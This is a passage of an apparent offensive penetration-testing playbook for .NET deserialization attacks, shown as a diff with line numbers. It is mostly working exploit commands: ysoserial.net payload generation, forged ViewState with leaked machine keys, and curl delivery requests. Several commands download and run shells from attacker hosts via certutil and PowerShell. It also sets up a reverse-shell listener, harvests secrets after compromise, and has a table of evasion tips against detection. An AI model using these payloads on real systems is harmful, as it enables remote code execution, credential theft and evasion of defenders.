245
|
+
```
|
|
246
|
+
org:target filename:web.config machineKey
|
|
247
|
+
org:target filename:appsettings.json connectionString
|
|
248
|
+
```
|
|
249
|
+
10. Run Blacklist3r against known default MachineKey databases
|
|
250
|
+
11. Check ASP.NET error pages for `customErrors="Off"` — reveals stack traces
|
|
251
|
+
|
|
252
|
+
### Phase 3: Attack Surface Mapping
|
|
253
|
+
|
|
254
|
+
12. Identify all deserialization entry points:
|
|
255
|
+
- ViewState POST parameters
|
|
256
|
+
- `__VIEWSTATE` hidden fields
|
|
257
|
+
- JSON API endpoints accepting complex objects
|
|
258
|
+
- WCF SOAP endpoints
|
|
259
|
+
- Binary endpoints (Content-Type: application/octet-stream)
|
|
260
|
+
13. Test for LINQ injection on filter/search parameters
|
|
261
|
+
14. Test path traversal on file download endpoints
|
|
262
|
+
15. Run IIS Short Filename Scanner
|
|
263
|
+
|
|
264
|
+
### Phase 4: Exploitation
|
|
265
|
+
|
|
266
|
+
16. If MachineKey found: generate ViewState payload with ysoserial.net
|
|
267
|
+
17. If JSON deserialization: generate Json.Net/Newtonsoft payload
|
|
268
|
+
18. If binary endpoint: generate BinaryFormatter payload
|
|
269
|
+
19. If WCF: generate SoapFormatter/DataContractSerializer payload
|
|
270
|
+
20. Deliver payload, confirm OOB callback (DNS/HTTP to Burp Collaborator)
|
|
271
|
+
|
|
272
|
+
### Phase 5: Post-Exploitation
|
|
273
|
+
|
|
274
|
+
21. Upgrade to stable shell (Covenant/.NET agent, meterpreter)
|
|
275
|
+
22. Extract connection strings, API keys from config files
|
|
276
|
+
23. Enumerate AppPool identity privileges
|
|
277
|
+
24. Check for DPAPI-encrypted secrets
|
|
278
|
+
25. Assess lateral movement opportunities
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## 5. Terminal Commands — Annotated
|
|
283
|
+
|
|
284
|
+
### ysoserial.net Full Command Reference
|
|
285
|
+
|
|
286
|
+
```bash
|
|
287
|
+
# List all available gadget chains
|
|
288
|
+
.\ysoserial.exe --list
|
|
289
|
+
|
|
290
|
+
# List all formatters
|
|
291
|
+
.\ysoserial.exe -f list
|
|
292
|
+
|
|
293
|
+
# BinaryFormatter — most widely applicable
|
|
294
|
+
# -f: formatter, -g: gadget chain, -o: output format, -c: command
|
|
295
|
+
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
|
|
296
|
+
-c "cmd /c powershell -nop -w hidden -enc SQBFAFgA..."
|
|
297
|
+
|
|
298
|
+
# Json.Net (Newtonsoft.Json) — very common in .NET APIs
|
|
299
|
+
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
|
|
300
|
+
-c "cmd /c whoami > C:\Windows\Temp\out.txt"
|
|
301
|
+
|
|
302
|
+
# DataContractSerializer — WCF, XML APIs
|
|
303
|
+
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
|
|
304
|
+
-o base64 -c "cmd /c certutil -urlcache -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exe && C:\Windows\Temp\shell.exe"
|
|
305
|
+
|
|
306
|
+
# DataContractJsonSerializer
|
|
307
|
+
.\ysoserial.exe -f DataContractJsonSerializer -g ObjectDataProvider \
|
|
308
|
+
-o raw -c "cmd /c whoami"
|
|
309
|
+
|
|
310
|
+
# LosFormatter — ASP.NET WebForms (no MachineKey required if MAC disabled)
|
|
311
|
+
.\ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
|
|
312
|
+
-o base64 -c "cmd /c calc"
|
|
313
|
+
|
|
314
|
+
# SoapFormatter — legacy remoting, WCF
|
|
315
|
+
.\ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -o raw \
|
|
316
|
+
-c "cmd /c whoami"
|
|
317
|
+
|
|
318
|
+
# XmlSerializer
|
|
319
|
+
.\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -o raw \
|
|
320
|
+
-c "cmd /c whoami"
|
|
321
|
+
|
|
322
|
+
# NetDataContractSerializer
|
|
323
|
+
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate \
|
|
324
|
+
-o base64 -c "cmd /c whoami"
|
|
325
|
+
|
|
326
|
+
# ViewState with MachineKey (ASP.NET WebForms)
|
|
327
|
+
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
|
|
328
|
+
-c "cmd /c whoami" \
|
|
329
|
+
--validationalg="SHA1" \
|
|
330
|
+
--validationkey="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
|
|
331
|
+
--generator="CA0B0334" \
|
|
332
|
+
--viewstateuserkey="" \
|
|
333
|
+
--isdebug=false
|
|
334
|
+
|
|
335
|
+
# With HMACSHA256 (newer applications)
|
|
336
|
+
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
|
|
337
|
+
-c "cmd /c whoami" \
|
|
338
|
+
--validationalg="HMACSHA256" \
|
|
339
|
+
--validationkey="VALIDATIONKEY" \
|
|
340
|
+
--decryptionalg="AES" \
|
|
341
|
+
--decryptionkey="DECRYPTIONKEY" \
|
|
342
|
+
--generator="CA0B0334"
|
|
343
|
+
|
|
344
|
+
# Plugin mode — for custom plugin gadgets
|
|
345
|
+
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
|
|
346
|
+
-c "cmd /c whoami" --plugin=Dll --plugin-arg="C:\path\to\plugin.dll"
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
### viewgen Commands
|
|
350
|
+
|
|
351
|
+
```bash
|
|
352
|
+
# Check if a ViewState was generated with a known key
|
|
353
|
+
python3 viewgen.py --check --key "validationkey" --algo SHA1 \
|
|
354
|
+
--modifier "CA0B0334" "AAAA...base64viewstate...=="
|
|
355
|
+
|
|
356
|
+
# Generate exploit ViewState from web.config
|
|
357
|
+
python3 viewgen.py --webconfig web.config --command "cmd /c whoami"
|
|
358
|
+
|
|
359
|
+
# Generate with explicit parameters
|
|
360
|
+
python3 viewgen.py --key "VALIDATIONKEY" --algo SHA1 \
|
|
361
|
+
--modifier "CA0B0334" --command "ping 10.10.10.10"
|
|
362
|
+
|
|
363
|
+
# Decode existing ViewState (no exploit)
|
|
364
|
+
python3 viewgen.py --decode "AAAA...base64...=="
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
### IIS Enumeration Commands
|
|
368
|
+
|
|
369
|
+
```bash
|
|
370
|
+
# IIS Short Filename Scanner
|
|
371
|
+
java -jar iis_shortname_scanner.jar 2 20 https://target.com/
|
|
372
|
+
# Arguments: <threads> <timeout> <url>
|
|
373
|
+
# Output: AAAABB~1.ASP → reveals files starting with AAAABB
|
|
374
|
+
|
|
375
|
+
# Extended scan with custom wordlist
|
|
376
|
+
java -jar iis_shortname_scanner.jar 2 20 https://target.com/ custom_headers.xml
|
|
377
|
+
|
|
378
|
+
# HTTP.sys vulnerabilities — check IIS version first
|
|
379
|
+
# CVE-2015-1635 (MS15-034) — IIS 7.5, 8.0, 8.5
|
|
380
|
+
curl -H "Range: bytes=0-18446744073709551615" https://target.com/
|
|
381
|
+
|
|
382
|
+
# CVE-2021-31166 — IIS 10.0 HTTP Protocol Stack RCE
|
|
383
|
+
# Send malformed Accept-Encoding header:
|
|
384
|
+
curl -H "Accept-Encoding: aaaaaaaa\r\n\tbbbbbbbb" https://target.com/
|
|
385
|
+
|
|
386
|
+
# Check IIS handler mappings (if admin access)
|
|
387
|
+
appcmd list handlers
|
|
388
|
+
|
|
389
|
+
# Enumerate application pools
|
|
390
|
+
appcmd list apppool
|
|
391
|
+
|
|
392
|
+
# Check IIS detailed errors (useful for info leak)
|
|
393
|
+
curl "https://target.com/nonexistent_page_that_doesnt_exist_12345.aspx"
|
|
394
|
+
```
|
|
395
|
+
|
|
396
|
+
### ASP.NET Debug and Trace
|
|
397
|
+
|
|
398
|
+
```bash
|
|
399
|
+
# Check trace.axd (exposes all HTTP requests if debug=true)
|
|
400
|
+
curl -s "https://target.com/trace.axd"
|
|
401
|
+
curl -s "https://target.com/trace.axd?id=1" # specific request
|
|
402
|
+
|
|
403
|
+
# ELMAH error log (common misconfiguration)
|
|
404
|
+
curl -s "https://target.com/elmah.axd"
|
|
405
|
+
curl -s "https://target.com/elmah.axd?aspxerrorpath=/error"
|
|
406
|
+
|
|
407
|
+
# ScriptResource.axd — reveals framework versions
|
|
408
|
+
curl -s "https://target.com/ScriptResource.axd?d=AAAA"
|
|
409
|
+
|
|
410
|
+
# WebResource.axd
|
|
411
|
+
curl -s "https://target.com/WebResource.axd?d=AAAA&t=638000000000000000"
|
|
412
|
+
|
|
413
|
+
# ASP.NET health monitoring
|
|
414
|
+
curl -s "https://target.com/HealthMonitoringReport.axd"
|
|
415
|
+
```
|
|
416
|
+
|
|
417
|
+
---
|
|
418
|
+
|
|
419
|
+
## 6. Payload Examples with Explanations
|
|
420
|
+
|
|
421
|
+
### 6.1 BinaryFormatter RCE Payload
|
|
422
|
+
|
|
423
|
+
**Context:** SOAP endpoint, .NET Remoting, or any binary deserialization sink accepting BinaryFormatter-formatted data.
|
|
424
|
+
|
|
425
|
+
```bash
|
|
426
|
+
# Generate base64-encoded BinaryFormatter payload
|
|
427
|
+
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
|
|
428
|
+
-c "cmd /c powershell -nop -exec bypass -w hidden IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
|
|
429
|
+
```
|
|
430
|
+
|
|
431
|
+
**Explanation:**
|
|
432
|
+
- `-f BinaryFormatter`: Uses .NET's BinaryFormatter class for serialization
|
|
433
|
+
- `-g TypeConfuseDelegate`: Gadget chain that abuses delegate type confusion to execute arbitrary code
|
|
434
|
+
- `-o base64`: Output as base64 string (suitable for HTTP POST body)
|
|
435
|
+
- `-c`: Command to execute when deserialized on server
|
|
436
|
+
|
|
437
|
+
**Delivery:**
|
|
438
|
+
```bash
|
|
439
|
+
# Inject into SOAP request
|
|
440
|
+
curl -X POST https://target.com/service.asmx \
|
|
441
|
+
-H "Content-Type: application/soap+xml; charset=utf-8" \
|
|
442
|
+
-H "SOAPAction: http://tempuri.org/IService/GetData" \
|
|
443
|
+
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><GetData xmlns="http://tempuri.org/"><value>BINARYFORMATTER_BASE64_PAYLOAD</value></GetData></soap:Body></soap:Envelope>'
|
|
444
|
+
|
|
445
|
+
# Or inject into binary endpoint directly
|
|
446
|
+
python3 -c "
|
|
447
|
+
import requests, base64
|
|
448
|
+
payload = 'AAEC...base64...'
|
|
449
|
+
data = base64.b64decode(payload)
|
|
450
|
+
r = requests.post('https://target.com/api/deserialize',
|
|
451
|
+
data=data,
|
|
452
|
+
headers={'Content-Type': 'application/octet-stream'})
|
|
453
|
+
print(r.status_code, r.text[:500])
|
|
454
|
+
"
|
|
455
|
+
```
|
|
456
|
+
|
|
457
|
+
### 6.2 Json.Net (Newtonsoft) Payload
|
|
458
|
+
|
|
459
|
+
**Context:** .NET Core APIs, JSON endpoints where TypeNameHandling is set to All or Objects.
|
|
460
|
+
|
|
461
|
+
```bash
|
|
462
|
+
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
|
|
463
|
+
-c "cmd /c whoami > C:\inetpub\wwwroot\pwned.txt"
|
|
464
|
+
```
|
|
465
|
+
|
|
466
|
+
**Raw output (inject directly into JSON field):**
|
|
467
|
+
```json
|
|
468
|
+
{
|
|
469
|
+
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
|
|
470
|
+
"MethodName": "Start",
|
|
471
|
+
"MethodParameters": {
|
|
472
|
+
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
|
|
473
|
+
"$values": ["cmd", "/c whoami > C:\\inetpub\\wwwroot\\pwned.txt"]
|
|
474
|
+
},
|
|
475
|
+
"ObjectInstance": {
|
|
476
|
+
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
|
|
477
|
+
}
|
|
478
|
+
}
|
|
479
|
+
```
|
|
480
|
+
|
|
481
|
+
**Delivery:**
|
|
482
|
+
```bash
|
|
483
|
+
# Test if TypeNameHandling is enabled by sending $type field
|
|
484
|
+
curl -X POST https://target.com/api/update \
|
|
485
|
+
-H "Content-Type: application/json" \
|
|
486
|
+
-d '{"$type":"System.Object, mscorlib","name":"test"}'
|
|
487
|
+
# If 500 error with type-related message: vulnerable!
|
|
488
|
+
|
|
489
|
+
# Deliver payload
|
|
490
|
+
curl -X POST https://target.com/api/deserialize \
|
|
491
|
+
-H "Content-Type: application/json" \
|
|
492
|
+
-d @payload.json
|
|
493
|
+
```
|
|
494
|
+
|
|
495
|
+
### 6.3 ViewState with MachineKey
|
|
496
|
+
|
|
497
|
+
**Context:** ASP.NET WebForms where MachineKey has been obtained from leaked web.config.
|
|
498
|
+
|
|
499
|
+
```bash
|
|
500
|
+
# MachineKey from leaked web.config:
|
|
501
|
+
# <machineKey validationKey="AABBCC..." decryptionKey="DDEEFF..." validation="SHA1" />
|
|
502
|
+
|
|
503
|
+
# Step 1: Extract generator ID from page source
|
|
504
|
+
curl -s https://target.com/default.aspx | grep "__VIEWSTATEGENERATOR" | grep -oP 'value="\K[^"]+'
|
|
505
|
+
# Example output: CA0B0334
|
|
506
|
+
|
|
507
|
+
# Step 2: Generate malicious ViewState
|
|
508
|
+
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
|
|
509
|
+
-c "cmd /c powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAY..." \
|
|
510
|
+
--validationalg="SHA1" \
|
|
511
|
+
--validationkey="AABBCCDDEEFF00112233445566778899AABBCCDDEEFF001122334455667788" \
|
|
512
|
+
--generator="CA0B0334" \
|
|
513
|
+
--viewstateuserkey="" \
|
|
514
|
+
--isdebug=false
|
|
515
|
+
|
|
516
|
+
# Step 3: Submit payload in __VIEWSTATE POST parameter
|
|
517
|
+
curl -X POST https://target.com/default.aspx \
|
|
518
|
+
-d "__VIEWSTATE=GENERATED_PAYLOAD_BASE64==&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=...&Button1=Submit" \
|
|
519
|
+
-b "ASP.NET_SessionId=abc123"
|
|
520
|
+
```
|
|
521
|
+
|
|
522
|
+
**Explanation of ViewState fields:**
|
|
523
|
+
- `--validationalg`: HMAC algorithm used (SHA1, SHA256, HMACSHA256, AES)
|
|
524
|
+
- `--validationkey`: Key from machineKey element in web.config
|
|
525
|
+
- `--generator`: Page-specific modifier from `__VIEWSTATEGENERATOR` hidden field
|
|
526
|
+
- `--viewstateuserkey`: If app sets `Page.ViewStateUserKey` (usually session ID or username)
|
|
527
|
+
- `--isdebug`: Set true only if page has `trace="true"` in @Page directive
|
|
528
|
+
|
|
529
|
+
### 6.4 LosFormatter Payload (No MAC Required)
|
|
530
|
+
|
|
531
|
+
**Context:** WebForms with ViewState MAC validation disabled (`EnableViewStateMac="false"` or legacy applications).
|
|
532
|
+
|
|
533
|
+
```bash
|
|
534
|
+
# Generate LosFormatter payload
|
|
535
|
+
.\ysoserial.exe -f LosFormatter -g TextFormattingRunProperties -o base64 \
|
|
536
|
+
-c "cmd /c whoami"
|
|
537
|
+
|
|
538
|
+
# If MAC is disabled, submit directly in __VIEWSTATE
|
|
539
|
+
# No key required — most dangerous misconfiguration
|
|
540
|
+
```
|
|
541
|
+
|
|
542
|
+
### 6.5 WCF DataContractSerializer Payload
|
|
543
|
+
|
|
544
|
+
**Context:** WCF services accepting complex types via XML or JSON.
|
|
545
|
+
|
|
546
|
+
```bash
|
|
547
|
+
# Generate payload
|
|
548
|
+
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
|
|
549
|
+
-o raw -c "cmd /c certutil -urlcache -f http://10.10.10.10/nc.exe C:\Windows\Temp\nc.exe"
|
|
550
|
+
|
|
551
|
+
# Wrap in SOAP envelope for WCF
|
|
552
|
+
# The payload goes in the deserialization target parameter
|
|
553
|
+
```
|
|
554
|
+
|
|
555
|
+
**Raw XML payload structure:**
|
|
556
|
+
```xml
|
|
557
|
+
<?xml version="1.0"?>
|
|
558
|
+
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
|
559
|
+
<!-- ysoserial.net generates this automatically -->
|
|
560
|
+
</root>
|
|
561
|
+
```
|
|
562
|
+
|
|
563
|
+
---
|
|
564
|
+
|
|
565
|
+
## 7. Tool Commands with Flags Explained
|
|
566
|
+
|
|
567
|
+
### ysoserial.net Flags
|
|
568
|
+
|
|
569
|
+
| Flag | Description | Example |
|
|
570
|
+
|---|---|---|
|
|
571
|
+
| `-f` | Formatter (serialization format) | `-f BinaryFormatter` |
|
|
572
|
+
| `-g` | Gadget chain (exploitation path) | `-g TypeConfuseDelegate` |
|
|
573
|
+
| `-o` | Output format: raw, base64, hex | `-o base64` |
|
|
574
|
+
| `-c` | Command to execute | `-c "cmd /c whoami"` |
|
|
575
|
+
| `--validationalg` | HMAC algorithm for ViewState | `--validationalg SHA1` |
|
|
576
|
+
| `--validationkey` | Hex validation key | `--validationkey AABB...` |
|
|
577
|
+
| `--decryptionkey` | Hex decryption key | `--decryptionkey CCDD...` |
|
|
578
|
+
| `--decryptionalg` | Encryption algorithm | `--decryptionalg AES` |
|
|
579
|
+
| `--generator` | ViewState generator ID | `--generator CA0B0334` |
|
|
580
|
+
| `--viewstateuserkey` | Per-user ViewState key | `--viewstateuserkey ""` |
|
|
581
|
+
| `--isdebug` | Debug mode flag | `--isdebug false` |
|
|
582
|
+
| `--minify` | Minimize payload size | `--minify` |
|
|
583
|
+
| `--ust` | Use SimpleTypeAssemblyQualified | `--ust` |
|
|
584
|
+
| `--plugin` | Plugin gadget chain | `--plugin Dll` |
|
|
585
|
+
|
|
586
|
+
### Available Gadget Chains
|
|
587
|
+
|
|
588
|
+
```bash
|
|
589
|
+
# List all available gadgets
|
|
590
|
+
.\ysoserial.exe --list
|
|
591
|
+
|
|
592
|
+
# Key gadgets and their applicability:
|
|
593
|
+
# TypeConfuseDelegate — BinaryFormatter, SoapFormatter, NetDataContractSerializer
|
|
594
|
+
# ObjectDataProvider — Json.Net, DataContractSerializer, XmlSerializer
|
|
595
|
+
# TextFormattingRunProperties — LosFormatter, ViewState, BinaryFormatter
|
|
596
|
+
# ActivitySurrogateSelectorFromFile — BinaryFormatter (file-based)
|
|
597
|
+
# PSObject — BinaryFormatter with PowerShell
|
|
598
|
+
# WindowsIdentity — Json.Net alternative
|
|
599
|
+
# SessionSecurityToken — WCF / DataContractSerializer
|
|
600
|
+
# RolePrincipal — DataContractSerializer
|
|
601
|
+
```
|
|
602
|
+
|
|
603
|
+
### Blacklist3r (MachineKey Finder)
|
|
604
|
+
|
|
605
|
+
```bash
|
|
606
|
+
# Scan known ViewState against database of default keys
|
|
607
|
+
.\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata "BASE64VIEWSTATE==" \
|
|
608
|
+
--purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath="/" \
|
|
609
|
+
--test
|
|
610
|
+
|
|
611
|
+
# Output will show matching key if found in database
|
|
612
|
+
```
|
|
613
|
+
|
|
614
|
+
### IIS ShortName Scanner
|
|
615
|
+
|
|
616
|
+
```bash
|
|
617
|
+
# Basic scan
|
|
618
|
+
java -jar iis_shortname_scanner.jar 2 20 https://target.com/
|
|
619
|
+
|
|
620
|
+
# With proxy (route through Burp)
|
|
621
|
+
java -Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8080 \
|
|
622
|
+
-jar iis_shortname_scanner.jar 2 20 https://target.com/
|
|
623
|
+
|
|
624
|
+
# Custom path prefix
|
|
625
|
+
java -jar iis_shortname_scanner.jar 2 20 https://target.com/upload/
|
|
626
|
+
|
|
627
|
+
# Output interpretation:
|
|
628
|
+
# [+] File: AAAABB~1.ASP → file starting with AAAABB, ending .asp
|
|
629
|
+
# [+] Dir: UPLOAD~1 → directory starting with UPLOAD
|
|
630
|
+
```
|
|
631
|
+
|
|
632
|
+
---
|
|
633
|
+
|
|
634
|
+
## 8. Real-World Attack Scenarios
|
|
635
|
+
|
|
636
|
+
### Scenario A: External ASP.NET MVC Application with Leaked web.config
|
|
637
|
+
|
|
638
|
+
**Setup:** Corporate .NET MVC portal exposed externally. Developer accidentally committed `web.config` to a public GitHub repo containing the MachineKey.
|
|
639
|
+
|
|
640
|
+
```bash
|
|
641
|
+
# Step 1: Find leaked config via GitHub dork
|
|
642
|
+
# site:github.com "validationKey" "decryptionKey" "machineKey" "target.com"
|
|
643
|
+
# Or search company org:
|
|
644
|
+
# org:targetcorp filename:web.config machineKey
|
|
645
|
+
|
|
646
|
+
# Step 2: Extract keys
|
|
647
|
+
# <machineKey validationKey="A8F3A1..." decryptionKey="B7E2C9..." validation="SHA1" decryption="AES" />
|
|
648
|
+
|
|
649
|
+
# Step 3: Capture live ViewState from login page
|
|
650
|
+
curl -s https://portal.target.com/Account/Login | grep -oP '__VIEWSTATE[^<]+value="\K[^"]+' > viewstate.txt
|
|
651
|
+
curl -s https://portal.target.com/Account/Login | grep -oP '__VIEWSTATEGENERATOR[^<]+value="\K[^"]+' > generator.txt
|
|
652
|
+
|
|
653
|
+
# Step 4: Generate exploit payload
|
|
654
|
+
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
|
|
655
|
+
-c "powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMAAuADEAMQAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" \
|
|
656
|
+
--validationalg="SHA1" \
|
|
657
|
+
--validationkey="A8F3A1..." \
|
|
658
|
+
--decryptionkey="B7E2C9..." \
|
|
659
|
+
--decryptionalg="AES" \
|
|
660
|
+
--generator="CA0B0334" \
|
|
661
|
+
--viewstateuserkey=""
|
|
662
|
+
|
|
663
|
+
# Step 5: Start listener
|
|
664
|
+
python3 -m http.server 80 # serve shell.ps1
|
|
665
|
+
nc -lvnp 4444 # catch reverse shell
|
|
666
|
+
|
|
667
|
+
# Step 6: Submit exploit
|
|
668
|
+
curl -X POST https://portal.target.com/Account/Login \
|
|
669
|
+
-b "ASP.NET_SessionId=<captured_session>" \
|
|
670
|
+
-d "__VIEWSTATE=EXPLOIT_PAYLOAD==&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=LEGIT==&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=test&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in"
|
|
671
|
+
|
|
672
|
+
# Step 7: Verify RCE via OOB
|
|
673
|
+
# Check Burp Collaborator / interactsh for DNS/HTTP callback
|
|
674
|
+
```
|
|
675
|
+
|
|
676
|
+
**Post-exploitation:**
|
|
677
|
+
```bash
|
|
678
|
+
# Extract DB connection strings
|
|
679
|
+
type C:\inetpub\wwwroot\web.config | findstr /i "data source password"
|
|
680
|
+
|
|
681
|
+
# Check AppPool identity
|
|
682
|
+
whoami /all
|
|
683
|
+
|
|
684
|
+
# Dump LSASS if SYSTEM (unlikely from IIS AppPool, but check)
|
|
685
|
+
# More likely: extract secrets from config and pivot to DB
|
|
686
|
+
```
|
|
687
|
+
|
|
688
|
+
### Scenario B: Internal WCF Service with DataContractSerializer
|
|
689
|
+
|
|
690
|
+
**Setup:** Internal microservice discovered during network pivot. Accepts XML via HTTP POST. Stack traces reveal `DataContractSerializer` usage.
|
|
691
|
+
|
|
692
|
+
```bash
|
|
693
|
+
# Step 1: Discover WCF service
|
|
694
|
+
nmap -p 80,443,8080,8443,8000,9000 10.10.10.0/24 --open -oN wcf_scan.txt
|
|
695
|
+
curl -s http://10.10.10.55:8080/?wsdl
|
|
696
|
+
|
|
697
|
+
# Step 2: Analyze WSDL for operation names and data types
|
|
698
|
+
curl -s "http://10.10.10.55:8080/DataService.svc?wsdl" > service.wsdl
|
|
699
|
+
# Look for: <xs:element name="..."> with complex type parameters
|
|
700
|
+
|
|
701
|
+
# Step 3: Trigger error to confirm DataContractSerializer
|
|
702
|
+
curl -X POST http://10.10.10.55:8080/DataService.svc \
|
|
703
|
+
-H "Content-Type: text/xml; charset=utf-8" \
|
|
704
|
+
-H "SOAPAction: http://tempuri.org/IDataService/ProcessData" \
|
|
705
|
+
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ProcessData xmlns="http://tempuri.org/"><data>INVALID_XML_DATA</data></ProcessData></soap:Body></soap:Envelope>'
|
|
706
|
+
# Error: "DataContractSerializer encountered..." confirms vulnerability
|
|
707
|
+
|
|
708
|
+
# Step 4: Generate payload
|
|
709
|
+
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
|
|
710
|
+
-o base64 -c "cmd /c powershell -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')\""
|
|
711
|
+
|
|
712
|
+
# Step 5: Wrap in SOAP and deliver
|
|
713
|
+
# The base64 payload goes where the serialized data parameter is expected
|
|
714
|
+
curl -X POST http://10.10.10.55:8080/DataService.svc \
|
|
715
|
+
-H "Content-Type: text/xml; charset=utf-8" \
|
|
716
|
+
-H "SOAPAction: http://tempuri.org/IDataService/Deserialize" \
|
|
717
|
+
-d "$(cat soap_payload.xml)"
|
|
718
|
+
```
|
|
719
|
+
|
|
720
|
+
### Scenario C: Public-Facing .NET Core API with Newtonsoft TypeNameHandling
|
|
721
|
+
|
|
722
|
+
**Setup:** REST API using Newtonsoft.Json with `TypeNameHandling.All` for polymorphic serialization. API accepts complex objects at `/api/workflow/execute`.
|
|
723
|
+
|
|
724
|
+
```bash
|
|
725
|
+
# Step 1: Identify endpoint and confirm JSON deserialization
|
|
726
|
+
curl -X POST https://api.target.com/api/workflow/execute \
|
|
727
|
+
-H "Content-Type: application/json" \
|
|
728
|
+
-H "Authorization: Bearer LEAKED_JWT_TOKEN" \
|
|
729
|
+
-d '{"type":"test","data":{"$type":"System.Object, mscorlib"}}'
|
|
730
|
+
# 500 error with type reference = potential TypeNameHandling vulnerability
|
|
731
|
+
|
|
732
|
+
# Step 2: Generate Json.Net payload
|
|
733
|
+
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
|
|
734
|
+
-c "cmd /c nslookup callback.burpcollaborator.net"
|
|
735
|
+
# Verify via DNS callback first before RCE
|
|
736
|
+
|
|
737
|
+
# Step 3: Deliver OOB test
|
|
738
|
+
curl -X POST https://api.target.com/api/workflow/execute \
|
|
739
|
+
-H "Content-Type: application/json" \
|
|
740
|
+
-H "Authorization: Bearer LEAKED_JWT_TOKEN" \
|
|
741
|
+
-d @oob_test_payload.json
|
|
742
|
+
|
|
743
|
+
# Step 4: If DNS callback received, escalate to RCE
|
|
744
|
+
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
|
|
745
|
+
-c "cmd /c certutil -urlcache -f http://10.10.10.10/shell.exe %TEMP%\s.exe && %TEMP%\s.exe"
|
|
746
|
+
|
|
747
|
+
curl -X POST https://api.target.com/api/workflow/execute \
|
|
748
|
+
-H "Content-Type: application/json" \
|
|
749
|
+
-H "Authorization: Bearer LEAKED_JWT_TOKEN" \
|
|
750
|
+
-d @rce_payload.json
|
|
751
|
+
|
|
752
|
+
# Step 5: .NET Core post-exploitation — find secrets
|
|
753
|
+
# appsettings.json, environment variables, Azure Key Vault references
|
|
754
|
+
find /app -name "appsettings*.json" 2>/dev/null
|
|
755
|
+
env | grep -i "connectionstring\|password\|secret\|key\|token"
|
|
756
|
+
```
|
|
757
|
+
|
|
758
|
+
---
|
|
759
|
+
|
|
760
|
+
## 9. Detection and OPSEC Considerations
|
|
761
|
+
|
|
762
|
+
### Blue Team Detection Points
|
|
763
|
+
|
|
764
|
+
| Action | Detection Indicator | Evasion |
|
|
765
|
+
|---|---|---|
|
|
766
|
+
| ViewState payload submission | WAF signatures on known gadget chain bytes | Encode payload, use less-known gadget chains |
|
|
767
|
+
| Large ViewState in POST | Size anomaly detection | Keep payload minimal with `--minify` |
|
|
768
|
+
| ysoserial.net payloads | IDS signatures on TypeConfuseDelegate bytes | Custom gadget chains, obfuscation |
|
|
769
|
+
| IIS ShortName scan | Burst of 404s with `~` in URL | Slow scan, reduce threads |
|
|
770
|
+
| trace.axd / elmah.axd access | WAF / IDS rules for diagnostic endpoints | Access during normal business hours |
|
|
771
|
+
| SSRF/OOB DNS callbacks | DNS monitoring on internal resolvers | Use ICMP or time-delay confirmation |
|
|
772
|
+
| Unusual AppPool process spawning | Windows Event 4688 (process creation) | Parent process injection instead of cmd.exe |
|
|
773
|
+
| WCF deserialization | Content inspection on port 8080/8443 | Use encrypted WCF binding if available |
|
|
774
|
+
|
|
775
|
+
### OPSEC Best Practices
|
|
776
|
+
|
|
777
|
+
```bash
|
|
778
|
+
